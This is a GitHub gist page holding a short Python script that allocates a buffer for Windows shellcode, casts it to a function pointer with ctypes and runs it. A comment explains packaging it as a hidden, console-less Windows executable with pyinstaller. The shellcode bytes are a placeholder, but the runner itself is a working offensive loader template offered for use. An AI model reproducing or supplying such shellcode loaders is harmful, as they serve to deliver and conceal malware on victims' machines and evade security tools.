-
-
Save CyDoor/4c591fefe65e8e8bf0f6d91668fa1f0a to your computer and use it in GitHub Desktop.
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| #!/usr/bin/python | |
| # -*- coding: utf8 -*- | |
| # This script executes a Windows shellcode within python process memory. | |
| # | |
| # Author: Arno0x0x, Twitter: @Arno0x0x | |
| # | |
| # Create a windows executable: pyinstaller --onefile --noconsole sample4.py | |
| from ctypes import * | |
| shellcode = ("\xXX\xXX[......]") | |
| memory_with_shell = create_string_buffer(shellcode, len(shellcode)) | |
| shell = cast(memory_with_shell,CFUNCTYPE(c_void_p)) | |
| shell() |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment